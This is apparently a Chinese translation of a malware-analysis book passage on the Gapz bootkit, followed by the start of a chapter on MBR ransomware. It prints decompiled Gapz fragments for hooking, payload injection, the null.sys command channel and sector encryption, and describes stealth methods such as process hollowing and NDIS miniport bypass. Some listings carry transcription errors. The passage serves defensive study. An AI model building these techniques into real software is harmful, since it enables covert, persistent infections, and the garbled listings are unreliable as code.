这一技术特别巧妙之处在于,它只修改了 VBR 数据中的 4 个字节,远少于其他引导程序。例如,TDL4 修改了 MBR 代码(446 字节);Olmasco 修改了 MBR 分区表中的一个条目(16 字节);Rovnix 修改了占用 15 个扇区或 7,680 字节的 IPL 代码。

Gapz 出现在 2012 年,当时安全行业已经赶上了现代引导程序(bootkits),并且 MBR、VBR 和 IPL 代码监控已经成为常规做法。然而,通过修改 BPB 中的HiddenSectors字段,Gapz 将引导程序感染技术推向了一个新的高度,甩开了安全行业。Gapz 出现之前,安全软件通常不会检查 BPB 字段的异常情况。安全行业花了一些时间才意识到它的新型感染方法并开发出相应的解决方案。

另一个使 Gapz 与众不同的地方是,HiddenSectors字段的内容并非固定不变的—它们可能会因系统而异。HiddenSectors的值很大程度上取决于硬盘的分区方案。一般来说,安全软件仅凭HiddenSectors值无法判断系统是否感染,需要对偏移处的实际代码进行更深入的分析。

图 12-5 展示了从感染了 Gapz 的真实系统中提取的 VBR 内容。BPB 位于偏移量 11 处,HiddenSectors字段的值为 0x00000800,并已突出显示。

image

图 12-5:感染系统上的HiddenSectors

为了能够检测到 Gapz,安全软件必须分析硬盘从起始位置偏移 0x00000800 处的数据。这就是恶意引导加载程序的位置。

加载恶意的内核模式驱动程序

与许多现代引导程序类似,Gapz 引导程序代码的主要目的是通过将恶意代码加载到内核模式地址空间中来破坏操作系统。一旦 Gapz 引导程序获得控制,它会按之前章节所描述的常规流程修补操作系统的引导组件。

一旦执行,bootkit 代码会挂钩 INT 13h 处理程序,以监视从硬盘读取的数据。然后,它从硬盘加载原始 IPL 代码并执行,以恢复启动过程。图 12-6 展示了一个受 Gapz 感染的系统中的启动过程。

在挂钩 INT 13h ➊ 后,恶意软件监视从硬盘读取的数据,并寻找 bootmgr 模块,进而在内存中打补丁以挂钩 Archx86TransferTo32BitApplicationAsm(对于 x64 Windows 平台为 Archx86TransferTo64BitApplicationAsm)例程 ➋。该例程将控制权从 bootmgr 转移到 winload.exe 的入口点。这个挂钩用于修补 winload.exe 模块。一旦 bootmgr 中的挂钩被触发,winload.exe 就已经在内存中,恶意软件可以对其进行打补丁。Bootkit 在 winload.exe 模块中挂钩 OslArchTransferToKernel 例程 ➌。

如上一章所述,Rovnix 也从挂钩 INT 13h 处理程序开始,修补 bootmgr,并挂钩 OslArchTransferToKernel。但是,与 Gapz 不同,Rovnix 在下一步通过修补内核的 KiSystemStartup 例程来入侵内核。

image

图 12-6:bootkit 的工作流程

另一方面,Gapz 会在内核映像中挂钩另一个例程:IoInitSystem ➍。这个例程的目的是通过初始化不同的操作系统子系统并调用启动驱动程序的入口点来完成内核初始化。一旦 IoInitSystem 执行,恶意挂钩就会被触发,恢复 IoInitSystem 例程的修补字节,并将 IoInitSystem 的返回地址覆盖为指向恶意代码的地址。然后,Gapz bootkit 会将控制权交还给 IoInitSystem 例程。

在例程完成后,控制权会返回到恶意代码中。IoInitSystem 执行后,内核被正确初始化,bootkit 可以使用它提供的服务来访问硬盘、分配内存、创建线程等。接下来,恶意软件从硬盘读取其余的 bootkit 代码,创建一个系统线程,最后将控制权交还给内核。一旦恶意的内核模式代码在内核模式地址空间中执行完毕,bootkit 的工作就完成了 ➎。

避免被安全软件检测到

在启动过程的最开始,Gapz 会从受感染的 VBR 中移除 bootkit 感染;它在内核模式模块执行期间稍后恢复感染。一个可能的解释是,一些安全产品在启动时会执行系统检查,因此通过在此时从 VBR 中移除感染证据,Gapz 能够不被察觉。

Gapz Rootkit 功能

在本节中,我们将重点讨论恶意软件的 rootkit 功能,这是 Gapz 在其 bootkit 功能之后最有趣的方面。我们将 Gapz 的 rootkit 功能称为内核模式模块,因为它不是一个有效的内核模式驱动程序,严格来说,它根本不是一个 PE 映像。相反,它被布置为位置独立代码,包含多个块,每个块实现恶意软件的特定功能以完成某个任务。内核模式模块的目的是秘密且悄无声息地将有效负载注入系统进程。

Gapz 内核模式模块最有趣的方面之一是它实现了一个自定义的 TCP/IP 网络栈,用于与 C&C 服务器通信;它使用一个加密库,其中包含自定义实现的加密原语,如 RC4、MD5、SHA1、AES 和 BASE64,用于保护其配置数据和 C&C 通信通道。而且,像其他复杂的威胁一样,它实现了隐藏存储,用于秘密存储其用户模式有效负载和配置信息。Gapz 还包括一个强大的钩子引擎,并内置反汇编器,用于设置持久且隐蔽的钩子。在本节的其余部分,我们将详细讨论 Gapz 内核模式模块的这些以及更多方面。

Gapz 内核模式模块不是传统的 PE 映像,而是由一组位置独立代码(PIC)的块组成,这些块不使用绝对地址来引用数据。因此,它的内存缓冲区可以位于进程地址空间中的任何有效虚拟地址。每个块都有特定的用途。每个块前面都有一个头部,描述其在模块中的大小和位置,以及用于计算该块中实现的例程地址的一些常量。头部的布局如列表 12-5 所示。

struct GAPZ_BASIC_BLOCK_HEADER

{

    // A constant that is used to obtain addresses

    // of the routines implemented in the block

 ➊ unsigned int ProcBase;

    unsigned int Reserved[2];

    // Offset to the next block

 ➋ unsigned int NextBlockOffset;

    // Offset of the routine performing block initialization

 ➌ unsigned int BlockInitialization;

    // Offset to configuration information

    // from the end of the kernel-mode module

    // valid only for the first block

    unsigned int CfgOffset;

    // Set to zeroes

    unsigned int Reserved1[2];

}

列表 12-5:Gapz 内核模式模块块头部

头部以整数常量ProcBase ➊开始,用于计算基本块中实现的例程的偏移量。NextBlockOffset ➋指定模块中下一个块的偏移量,允许 Gapz 枚举内核模式模块中的所有块。BlockInitialization ➌包含从块开始到块初始化例程的偏移量,该例程在内核模式模块初始化时执行。此例程初始化与相应块相关的所有必要数据结构,并应在块中实现的任何其他功能之前执行。

Gapz 使用一个全局结构,保存所有与其内核模式代码相关的数据:实现的例程的地址、分配的缓冲区的指针等。该结构使 Gapz 能够确定所有在位置独立代码块中实现的例程的地址,然后执行它们。

无关位置的代码通过十六进制常量 0xBBBBBBBB(适用于 x86 模块)引用全局结构。在恶意内核模式代码执行的最初阶段,Gapz 为全局结构分配一个内存缓冲区。然后,它使用 BlockInitialization 例程遍历每个代码块中实现的代码,并将 0xBBBBBBBB 的每次出现替换为全局结构的指针。

在内核模式模块中实现的 OpenRegKey 例程的反汇编代码类似于 清单 12-6。再次强调,常量 0xBBBBBBBB 用来引用全局上下文的地址,但在执行过程中,这个常量会被内存中全局结构的实际地址替换,从而确保代码正确执行。

int __stdcall OpenRegKey(PHANDLE hKey, PUNICODE_STRING Name)

{

    OBJECT_ATTRIBUTES obj_attr; // [esp+Oh] (ebp-1Ch)@1

    int _global_ptr; // [esp+18h] (ebp-4h)@1

    global ptr = OxBBBBBBBB;

    obj_attr.ObjectName = Name;

    obj_attr.RootDirectory = 0;

    obj_attr.SecurityDescriptor = 0;

    obj_attr.SecurityQualityOfService = 0;

    obj_attr.Length = 24;

    obj_attr.Attributes = 576;

    return (MEMORY[0xBBBBBBB] ->Zw0penKey)(hKey, 0x20019 &ob attr);

}

清单 12-6:在 Gapz 内核模式代码中使用全局上下文

总的来说,Gapz 在内核模式模块中实现了 12 个代码块,列在 表 12-2 中。最后一个代码块实现了内核模式模块的主例程,该例程启动模块的执行,初始化其他代码块,设置挂钩并启动与 C&C 服务器的通信。

表 12-2: Gapz 内核模式代码块

代码块编号 实现功能
1 一般 API,收集硬盘上的信息,CRT 字符串例程等
2 加密库:RC4,MD5,SHA1,AES,BASE64 等
3 挂钩引擎,反汇编引擎
4 隐藏存储实现
5 硬盘驱动程序挂钩,自我防御
6 有效载荷管理器
7 注入有效载荷到进程的用户模式地址空间
8 网络通信:数据链路层
9 网络通信:传输层
10 网络通信:协议层
11 有效载荷通信接口
12 主例程

隐藏存储

与大多数启动工具一样,Gapz 实现了隐藏存储,以安全地存储其有效载荷和配置信息。隐藏文件系统的映像位于硬盘上的一个文件中,路径为 ??\C:\System Volume Information<XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX>,其中 X 表示基于配置信息生成的十六进制数字。隐藏存储的布局采用 FAT32 文件系统。图 12-7 显示了 \usr\overlord 隐藏存储目录的内容示例。你可以看到该目录中存储了三个文件:overlord32.dlloverlord64.dllconf.z。前两个文件对应用户模式有效载荷,将被注入到系统进程中。第三个文件 conf.z 包含配置数据。

image

图 12-7:隐藏存储的内容 \usr\overlord 目录

为了保持隐藏文件系统中存储的信息的机密性,其内容被加密,如 清单 12-7 所示。

int stdcall aes_crypt_sectors_cbc(int 1V, int c_text, int p_text, int num_of_sect,

                                  int bEncrypt, STRUCT_AES_KEY *Key)

{

    int result; // eax01

    int _iv; // edi02

    int cbc_iv[4]; // [esp+0h] [ebp-14h)@3

   STRUCT_IPL_THREAD_1 *gl_struct; // [esp+10h] [ebp-4h}@1

    gl_struct = 0xBBBBBBBB;

    result = num_of_sect;

    if ( num_of_sect )

    {

     ➊ _iv = IV;

        do

        {

            cbc_iv[3] = 0;

            cbc_iv[2] = 0;

            cbc_iv[1] = 0;

            cbc iu[0] = _iv; // CBC initialization value

            result = (gl_struct->crypto->aes_crypt_cbc)(Key, bEncrypt, 512, cbc_iv,

                                                        p_text, c_text);

            p_text += 512; // plain text

            c text += 512; // ciper text

         ➋ ++_iv;

            --num_of_sect;

        }

        while( num_of_sect );

    }

    return result;

}

清单 12-7:隐藏存储中扇区的加密

为了加密和解密隐藏存储的每个扇区,Gapz 采用了自定义实现的高级加密标准(AES)算法,密钥长度为 256 位,并以密码块链接(CBC)模式工作。Gapz 将第一个被加密或解密的扇区的编号➊作为 CBC 模式的初始化值(IV),如 Listing 12-7 所示。然后,每个后续扇区的 IV 都会递增 1➋。尽管使用相同的密钥加密硬盘的每个扇区,但由于对不同扇区使用不同的 IV,每次生成的密文都是不同的。

针对反恶意软件软件的自我防御

为了防止自己被从系统中移除,Gapz 在硬盘迷你端口驱动程序上钩住了两个例程:IRP_MJ_INTERNAL_DEVICE_CONTROLIRP_MJ_DEVICE_CONTROL。在这些钩子中,恶意软件只对以下请求感兴趣。

  • IOCTL_SCSI_PASS_THROUGH

  • IOCTL_SCSI_PASS_THROUGH_DIRECT

  • IOCTL_ATA_PASS_THROUGH

  • IOCTL_ATA_PASS_THROUGH_DIRECT

这些钩子保护了被感染的 VBR 或 MBR 以及硬盘上的 Gapz 映像,避免它们被读取或覆盖。

与 TDL4、Olmasco 和 Rovnix 不同,后者通过覆盖DRIVER_OBJECT结构中的处理程序指针,Gapz 使用拼接技术:即它直接修补处理程序的代码。在 Listing 12-8 中,你可以看到内存中scsiport.sys驱动程序映像的钩子例程。在这个例子中,scsiport.sys是一个磁盘迷你端口驱动程序,负责实现IOCTL_SCSI_XXX 和IOCTL_ATA_XXX 请求处理程序,它是 Gapz 钩子的主要目标。

   SCSIPORTncsiPortGlobalDispatch:

   f84ce44c 8bff                       mov     edi,edi

➊ f84ce44e e902180307                 jmp     ff4ffc55

   f84ce453 088b42288b40               or      byte ptr [ebx+408B2842h],c1

   f84ce459 1456                       adc     a1,56h

   f84ce45b 8b750c                     mov     esi,dword ptr [ebp+0Ch]

   f84ce45e 8b4e60                     mov     ecx,dword ptr [esi+60h}]

   f84ce461 0fb609                     movzx   ecx,byte ptr [ecx]

   f84ce464 56                         push    esi

   f84ce465 52                         push    edx

   f84ce466 ff1488                     call    dword ptr [eax+ecx*4]

   f84ce469 5e                         pop     esi

   f84ce46a 5d                         pop     ebp

   f84ce46b c20800                     ret     8

Listing 12-8: scsiport!ScsiPortGlobalDispatch例程的钩子

请注意,Gapz 并没有像其他恶意软件那样在例程的最开始(0xf84ce44c)处打补丁➊。Listing 12-9 中可以看到,它跳过了被钩住的例程的前几条指令(例如,nopmov edi, edi)。

其中一个可能的原因是为了提高内核模式模块的稳定性和隐蔽性。一些安全软件只检查前几个字节的修改,以检测是否有补丁或钩子程序,因此跳过钩子前的几条指令让 Gapz 有机会绕过安全检查。

跳过钩子例程的前几条指令还防止 Gapz 干扰已经放置在例程上的合法钩子。例如,在 Windows 的“热补丁”可执行映像中,编译器会在函数的最开始插入mov edi, edi指令(如 Listing 12-8 所示)。这条指令是 OS 可能设置的合法钩子的占位符。跳过这条指令可以确保 Gapz 不会破坏操作系统的代码修补功能。

清单 12-9 中的代码片段显示了钩子例程的代码,该例程分析处理程序的指令,以找到设置钩子的最佳位置。它检查指令的操作码 0x90(对应于nop)和 0x8B/0x89(对应于mov edi, edi)。这些指令可能表明目标例程属于一个可热补丁的镜像,因此可能会被操作系统潜在地补丁。这样,恶意软件就知道在设置钩子时跳过这些指令。

for ( patch_offset = code_to_patch; ; patch_offset += instr.len )

{

    (v42->proc_buff_3->disasm)(patch_offset, &instr);

    if ( (instr.len != 1 || instr.opcode != 0x90u)

        && (instr.len != 2 || instr.opcode != 8x89u &&

            instr.opcode != Ox8Bu || instr.modrm_rm != instr.modrm_reg) ) )

    {

        break;

    }

}

清单 12-9:Gapz 使用反汇编器跳过钩子例程的前几个字节

为了执行此分析,Gapz 实现了黑客反汇编引擎,该引擎可用于 x86 和 x64 平台。这使得恶意软件不仅能够获取指令的长度,还能获取其他特性,如指令的操作码及其操作数。

黑客反汇编引擎

黑客反汇编引擎(HDE)是一个小型、简单、易于使用的反汇编引擎,旨在用于 x86 和 x64 代码分析。它提供命令的长度、操作码以及其他指令参数,如前缀 ModR/M 和 SIB。HDE 常被恶意软件用于反汇编例程的序言,以设置恶意钩子(如上文所述的情况)或检测并移除安全软件安装的钩子。

有效负载注入

Gapz 内核模式模块将有效负载注入到用户模式地址空间,如下所示:

  1. 读取配置文件信息,以确定应将哪些有效负载模块注入到特定进程中,然后从隐藏存储中读取这些模块。

  2. 在目标进程的地址空间中分配一个内存缓冲区,用于存储有效负载镜像。

  3. 在目标进程中创建并运行一个线程,执行加载器代码;该线程映射有效负载镜像,初始化 IAT,并修复重定位。

隐藏文件系统中的\sys目录包含一个配置文件,该文件指定了应注入到特定进程中的有效负载模块。配置文件的名称是通过 SHA1 哈希算法,从隐藏文件系统的 AES 加密密钥推导而来。配置文件由一个头部和多个条目组成,每个条目描述了一个目标进程,如图 12-8 所示。

image

图 12-8:有效负载注入配置文件的布局

每个进程条目具有清单 12-10 所示的布局。

struct GAPZ_PAYLOAD_CFG

{

  // Full path to payload module into hidden storage

  char PayloadPath[128];

  // name of the process image

➊ char TargetProcess[64];

  // Specifies load options: x86 or x64 and and so on

➋ unsigned char LoadOptions;

  // Reserved

  unsigned char Reserved[2];

  // Payload type: overlord, other

➌ unsigned char PayloadType;

}

清单 12-10:配置文件中有效负载配置条目的布局

TargetProcess字段➊包含要注入有效负载的进程名称。LoadOptions字段➋指定有效负载模块是 32 位镜像还是 64 位镜像,具体取决于受感染的系统。PayloadType字段➌表示要注入的模块是“上级”模块还是其他有效负载。

模块overlord32.dll(64 位进程为overlord64.dll)被注入到系统中的svchost.exe进程中。overlord32.dll模块的目的是执行恶意内核模式代码发出的 Gapz 命令。这些执行的命令可能会执行以下任务:

  • 收集系统中所有网络适配器及其属性的信息。

  • 收集系统中特定软件的存在信息。

  • 通过尝试访问* www.update.microsoft.com *来检查互联网连接。

  • 使用 Windows 套接字发送和接收远程主机的数据。

  • http://www.time.windows.com获取系统时间。

  • 在给定域名时,通过 Win32 API gethostbyname获取主机的 IP 地址。

  • 获取 Windows Shell(通过查询Software\Microsoft\Windows NT\CurrentVersion\Winlogon注册表项的“shell”值)。

然后,这些命令的结果会传回内核模式。图 12-9 显示了从受感染系统的隐藏存储中提取的一些配置信息示例。

image

图 12-9:有效负载配置文件的示例

您可以看到两个模块—overlord32.dlloverlord64.dll—分别用于注入到 x86 和 x64 位系统中的svchost.exe进程。

一旦有效负载模块和目标进程被识别,Gapz 会在目标进程的地址空间中分配一个内存缓冲区,并将有效负载模块复制到其中。然后,恶意软件在目标进程中创建一个线程来运行加载器代码。如果操作系统是 Windows Vista 或更高版本,Gapz 可以通过简单地执行系统例程NtCreateThreadEx来创建新线程。

在 Vista 之前的操作系统(如 Windows XP 或 Server 2003)中,事情会更加复杂,因为操作系统内核并未导出NtCreateThreadEx例程。在这些情况下,Gapz 会重新实现NtCreateThreadEx的一部分功能,并遵循以下步骤:

  1. 手动分配将保存新线程的堆栈。

  2. 初始化线程的上下文和线程环境块(TEB)。

  3. 通过执行未记录的例程NtCreateThread来创建一个线程结构。

  4. 如有必要,在客户端/服务器运行时子系统(CSRSS)中注册新创建的线程。

  5. 执行新线程。

加载器代码负责将有效负载映射到进程的地址空间,并在用户模式下执行。根据有效负载类型,加载器代码有不同的实现,如图 12-10 所示。对于作为 DLL 库实现的有效负载模块,有两个加载器:DLL 加载器和命令执行器。对于作为 EXE 模块实现的有效负载模块,也有两个加载器。

image

图 12-10:Gapz 注入能力

现在我们来看看每个加载器。

DLL 加载器代码

Gapz DLL 加载器例程负责加载和卸载 DLL。它将可执行图像映射到目标进程的用户模式地址空间,初始化其 IAT,修复重定位,并根据有效载荷是否加载或卸载,执行以下导出例程:

导出例程 #1(加载有效载荷) 初始化加载的有效载荷

导出例程 #2(卸载有效载荷) 取消初始化已加载的有效载荷

图 12-11 展示了有效载荷模块overlord32.dll

image

图 12-11:Gapz 有效载荷的导出地址表

图 12-12 展示了该例程。当卸载有效载荷时,Gapz 执行导出例程 #2 并释放用于保存有效载荷图像的内存。当加载有效载荷时,Gapz 执行所有必要的步骤,将图像映射到进程的地址空间中,然后执行导出例程 #1。

image

图 12-12:Gapz DLL 有效载荷加载算法

命令执行器代码

命令执行器例程负责按照加载的有效载荷 DLL 模块的指令执行命令。该例程仅调用有效载荷的导出例程 #3(图 12-11),并将所有必要的参数传递给其处理程序。

EXE 加载器代码

另外两个加载器例程用于在感染的系统中运行下载的可执行文件。第一个实现从TEMP目录运行可执行有效载荷:图像被保存到TEMP目录,并执行CreateProcess API,如图 12-13 所示。

image

图 12-13:通过CreateProcess运行 Gapz EXE 有效载荷的算法

第二种实现通过创建一个挂起的合法进程来运行有效载荷,然后用恶意图像覆盖合法进程图像;之后,进程恢复运行,如图 12-14 所示。

image

图 12-14:通过CreateProcessAsUser运行 Gapz EXE 有效载荷的算法

第二种加载可执行有效载荷的方法比第一种更隐蔽且不易被检测。虽然第一种方法只是直接运行有效载荷而不加任何预防,但第二种方法首先创建一个合法的可执行进程,然后才用恶意有效载荷替换原始图像。这可能会欺骗安全软件,使其允许有效载荷执行。

有效载荷通信接口

为了与注入的有效载荷进行通信,Gapz 以一种相当不寻常的方式实现了特定接口:通过伪装成null.sys驱动程序中有效载荷请求的处理程序。此技术在图 12-15 中展示。

image

图 12-15:Gapz 有效载荷接口架构

恶意软件首先将对应于 \Device\Null 设备对象的 DRIVER_OBJECT 结构中的 DriverUnload 字段 ➊ 设置为 0(存储当操作系统卸载驱动程序时将执行的处理程序的指针),并钩住原始的 DriverUnload 例程。然后,它将 DRIVER_OBJECTIRP_MJ_DEVICE_CONTROL 处理程序的地址替换为钩住的 DriverUnload 例程的地址 ➋。

钩子检查 IRP_MJ_DEVICE_CONTROL 请求的参数,以确定请求是否由有效负载发起。如果是,则调用有效负载接口处理程序,而不是原始的 IRP_MJ_DEVICE_CONTROL 处理程序 ➌。

驱动卸载例程

在卸载内核模式驱动程序之前,操作系统内核会执行特殊的 DriverUnload 例程。这个由要卸载的内核模式驱动程序实现的可选例程,用于执行系统卸载驱动程序之前所需的任何操作。该例程的指针存储在对应 DRIVER_OBJECT 结构的 DriverUnload 字段中。如果该例程未实现,DriverUnload 字段将包含 NULL,此时驱动程序无法卸载。

DriverUnload 钩子的代码片段显示在 示例 12-11 中。

hooked_ioctl = MEMORY[0xBBBBBBE3]->IoControlCode_HookArray;

➊ while ( *hooked_ioctl != IoStack->Parameters.DeviceIoControl_IoControlCode )

{

    ++1; // check if the request comes from the payload

    ++hooked_ioctl;

    if ( i >= IRP_MJ_SYSTEM_CONTROL )

        goto LABEL_11;

}

UserBuff = Irp->UserBuffer;

IoStack = IoStack->Parameters_DeviceIoControl.OutputBufferLength;

OutputBufferLength = IoStack;

if ( UserBuff )

{

    // decrypt payload request

 ➋ (MEMORY [0xBBBBBBBF]->rc4)(UserBuff, IoStack, MEMORY [0xBBBBBBBB]->rc4_key, 48);

    v4 = 0xBBBBBBBB;

    // check signature

    if ( *UserBuff == 0x34798977 )

    {

        hooked_ioctl = MEMORY [0xBBBBBBE3];

        IoStack = i;

        // determine the handler

        if ( UserBuff[1] == MEMORY [0xBBBBBBE3]->IoControlCodeSubCmd_Hook[i] )

        {

           ➌ (MEMORY [0xBBBBBBE3] ->IoControlCode_HookDpc[i])(UserBuff);

           ➍ (MEMORY 0xBBBBBBBF( // encrypt the reply

                UserBuff,

                OutputBufferLength,

                MEMORY [0xBRBBBBBB] ->rc4_key,

                48);

            v4 = 0xBBBBBBBB;

        }

        _Irp = Irp;

    }

}

示例 12-11:DriverUnload 钩子代码摘录自 null.sys

Gapz 在➊处检查请求是否来自有效负载。如果是,它使用 RC4 加密算法 ➋ 解密请求并执行相应的处理程序 ➌。请求处理完毕后,Gapz 将结果加密 ➍ 并返回给有效负载。

有效负载可以使用 示例 12-12 中的代码向 Gapz 内核模式模块发送请求。

// open handle for \Device\NULL

➊  HANDLE hNull = CreateFile(_T("\\??\\NUL"), ...);

if(hNull != INVALID_HANDLE_VALUE) {

  // Send request to kernel-mode module

➋ DWORD dwResult = DeviceIoControl(hNUll, WIN32_GAPZ_IOCTL, InBuffer, InBufferSize, OutBuffer,

                                   OutBufferSize, &BytesRead);

  CloseHandle(hNull);

}

示例 12-12:从用户模式有效负载向内核模式模块发送请求

有效负载打开 NULL 设备的句柄 ➊。这是一个系统设备,因此该操作不会引起任何安全软件的注意。一旦有效负载获得句柄,它便使用 DeviceIoControl 系统 API ➋ 与内核模式模块进行通信。

自定义网络协议栈

引导木马通过 HTTP 协议与 C&C 服务器通信,其主要目的是请求并下载有效负载并报告机器人状态。恶意软件强制执行加密,以保护交换消息的机密性,并验证消息来源的真实性,以防止来自伪造 C&C 服务器的指令破坏。

网络通信最引人注目的特点是其实现方式。恶意软件通过两种方式向 C&C 服务器发送消息:使用用户模式有效负载模块(overlord32.dlloverlord64.dll)或使用自定义的内核模式 TCP/IP 协议栈实现。这种网络通信方案如图 12-16 所示。

用户模式的有效载荷,overlord32.dlloverlord64.dll,通过 Windows 套接字实现将消息发送到 C&C 服务器。自定义实现的 TCP/IP 协议栈依赖于迷你端口适配器驱动程序。通常,网络通信请求会通过网络驱动程序栈,而在栈的不同层级,安全软件驱动程序可能会对其进行检查。根据微软的网络驱动接口规范(NDIS),迷你端口驱动程序是网络驱动栈中的最低级驱动程序,因此通过将网络 I/O 数据包直接发送到迷你端口设备对象,Gapz 可以绕过所有中间驱动程序,避免被检查(见图 12-17)。

image

图 12-16: Gapz 网络通信方案

image

图 12-17: Gapz 自定义网络实现

Gapz 通过手动检查 NDIS 库(ndis.sys)代码,获取描述迷你端口适配器的结构体指针。负责处理 NDIS 迷你端口适配器的例程在内核模式模块的第 8 块中实现。

这种方法使得 Gapz 能够通过套接字接口与 C&C 服务器通信,而不被发现。Gapz 网络子系统的架构概述见图 12-18。

image

图 12-18: Gapz 网络架构

正如你所看到的,Gapz 网络架构实现了开放系统互联(OSI)模型的大部分层级:数据链路层、传输层和应用层。为了将网络数据包发送到并接收自代表网络接口卡的物理设备对象,Gapz 使用系统中可用的相应接口(由网络卡驱动提供)。然而,所有与创建和解析网络帧相关的工作完全由恶意软件的自定义网络栈实现。

结论

正如你所看到的,Gapz 是一种复杂的恶意软件,具有非常精密的实现,并且由于其 VBR 感染技术,它是最为隐蔽的引导病毒之一。没有任何已知的引导病毒能够拥有如此优雅和微妙的感染方式。它的发现迫使安全行业提升了对引导病毒的检测方法,并深入挖掘 MBR/VBR 扫描,不仅关注 MBR/VBR 代码修改,还关注以前被认为不在范围内的参数和数据结构。

第十三章:MBR 勒索软件的兴起

Image

到目前为止,本书中描述的恶意软件示例都属于某一特定类别:具备 rootkit 或 bootkit 功能的计算机木马,其目的是在受害者的系统上长期存在,执行各种恶意活动——如进行浏览器点击欺诈、发送垃圾邮件、打开后门或创建 HTTP 代理等。这些木马利用 bootkit 持久化方法在感染的计算机上持续存在,并利用 rootkit 功能保持隐匿。

在这一章中,我们将重点介绍 勒索软件,这是一种有着截然不同作案手法的恶意软件家族。顾名思义,勒索软件的主要目的是完全锁定用户的数据或计算机系统,并要求支付赎金以恢复访问权限。

在大多数已知案例中,勒索软件通过加密来剥夺用户的数据。一旦恶意软件被执行,它会尝试加密对用户有价值的所有内容——文档、照片、电子邮件等——然后要求用户支付赎金以获取解密密钥,从而解锁数据。

大多数勒索软件针对存储在计算机文件系统中的用户文件,尽管这些方法并未实现任何先进的 rootkit 或 bootkit 功能,因此与本书内容无关。然而,一些勒索软件家族则加密硬盘的某些扇区,利用 bootkit 功能来阻止用户访问系统。

在这一章中,我们将专注于后一类:针对计算机硬盘的勒索软件,不仅剥夺受害者的文件,还剥夺对整个计算机系统的访问。这类勒索软件加密硬盘的特定区域,并在 MBR 上安装恶意引导程序。该引导程序不会启动操作系统,而是执行硬盘内容的低级加密,并向受害者显示要求支付赎金的信息。特别地,我们将关注两大受到媒体广泛关注的勒索软件家族:Petya 和 Satana。

现代勒索软件的简史

勒索软件类恶意软件的最早踪迹出现在计算机病毒 AIDS 中,该病毒首次在 1989 年在野外发现。AIDS 使用类似现代勒索软件的方法,通过覆盖文件开头的恶意代码来感染旧版 MS-DOS COM 可执行文件,使其无法恢复。然而,AIDS 并没有要求受害者支付赎金以恢复访问受感染的程序——它只是彻底销毁了信息,且无法恢复。

第一个已知要求支付赎金的恶意软件是 GpCode Trojan,它首次出现在 2004 年。它因使用 660 位 RSA 加密算法锁定用户文件而闻名。整数因式分解的进展使得在 2004 年几乎能够对 600 位整数进行因式分解(2005 年对成功分解 RSA-640(一种 640 位数字)的人奖励了现金奖金)。随后的修改升级采用了 1,024 位 RSA 加密,提高了恶意软件对暴力破解攻击的抗性。GpCode 通过伪装成求职申请的电子邮件附件进行传播。一旦在受害者系统上执行,它便开始加密用户文件并显示赎金信息。

尽管这些早期的勒索病毒出现了,但直到 2012 年勒索病毒才成为广泛的威胁,从那时起,它一直盛行。一个可能在其增长中起到了重要作用的因素是匿名在线服务的流行,如比特币支付系统和 Tor 网络。勒索病毒开发者能够利用这些系统收取赎金,而不被执法机构追踪到。这种网络犯罪业务证明了极其丰厚的利润,导致勒索病毒的多样化开发和广泛传播。

2012 年勒索病毒激增的起点是 Reveton,它伪装成来自执法机构的消息,根据用户的位置量身定制。例如,在美国的受害者会看到一条伪装成 FBI 的消息。受害者被指控进行非法活动,如未经许可使用版权内容或观看和传播色情内容,并被指示支付罚款,通过如 Ukash、Paysafe 或 MoneyPak 等服务。

不久后,具有类似功能的更多威胁在野外出现。2013 年发现的 CryptoLocker,是当时领先的勒索病毒威胁。它使用了 2,048 位 RSA 加密,主要通过被攻陷的网站和电子邮件附件传播。CryptoLocker 的一个有趣特点是,受害者必须以比特币或预付现金凭证的形式支付赎金。使用比特币为这种威胁增加了另一层匿名性,使追踪攻击者变得极其困难。

另一种显著的勒索病毒是 CTB-Locker,它出现在 2014 年。CTB 代表Curve/TOR/Bitcoin,指的是该威胁所使用的核心技术。CTB-Locker 使用了椭圆曲线加密算法(ECC),并且是已知的第一个使用 TOR 协议来隐藏 C&C 服务器的勒索病毒。

网络犯罪业务至今仍然极为盈利,勒索病毒继续演化,许多修改版本不断出现。这里讨论的勒索病毒家族仅占所有已知威胁中的一小部分。

具有引导程序功能的勒索病毒

2016 年,发现了两种新的勒索病毒家族:Petya 和 Satana。与其加密文件系统中的用户文件不同,Petya 和 Satana 加密了硬盘的一部分,导致操作系统无法启动,并显示一条消息,要求受害者支付赎金以恢复加密的扇区。实现显示赎金消息的最简单方法是利用基于 MBR 的引导病毒技术。

Petya 通过加密硬盘上主文件表(MFT)的内容,将用户锁定在系统之外。MFT 是 NTFS 卷中的一个重要特殊数据结构,包含所有存储在其中的文件的信息,如它们在卷上的位置、文件名及其他属性。它主要作为查找硬盘上文件位置的索引。通过加密 MFT,Petya 确保了文件无法被定位,受害者无法访问卷上的文件,甚至无法启动系统。

Petya 主要通过一封声称是工作申请的电子邮件链接进行传播。这个恶意链接实际上指向了一个包含 Petya 投放程序的恶意 ZIP 压缩包。该恶意软件甚至利用了合法的服务 Dropbox 来托管 ZIP 压缩包。

在 Petya 之后不久发现的 Satana 也通过加密硬盘的 MBR 来使受害者无法访问他们的系统。尽管它的 MBR 感染能力不像 Petya 那样复杂——甚至包含一些漏洞——但它足够有趣,值得稍作讨论。

SHAMOON:失落的木马

Shamoon是一种木马,它与 Satana 和 Petya 大约同时出现,功能类似。它因在目标系统上销毁数据并使其无法启动而臭名昭著。它的主要目的是破坏目标组织的服务,主要针对能源和石油行业,但由于它没有要求受害者支付赎金,因此这里不做详细讨论。Shamoon 包含一个合法文件系统工具的组件,用于以低级方式访问硬盘,从而覆盖用户文件,包括 MBR 扇区,用它自己的数据块替代。这种攻击导致了许多目标组织的严重停机。它的一个受害者——沙特阿美(Saudi Aramco)花了一周时间才恢复其服务。

勒索病毒作案手法

在深入分析 Petya 和 Satana 的引导程序组件之前,我们先从高层次了解一下现代勒索病毒的运作方式。每个勒索病毒家族都有一些偏离这里所示的典型模式的独特之处,但图 13-1 反映了勒索病毒操作最常见的模式。

image

图 13-1:现代勒索病毒的作案手法

在被执行到受害者系统后不久,勒索软件会生成一个用于对称加密的唯一加密密钥 ➊——即任何块加密或流加密(例如 AES、RC4 或 RC5)。这个密钥,我们称之为文件加密密钥(FEK),用于加密用户文件。恶意软件使用一个(伪)随机数生成器生成一个独特的密钥,该密钥无法被猜测或预测。

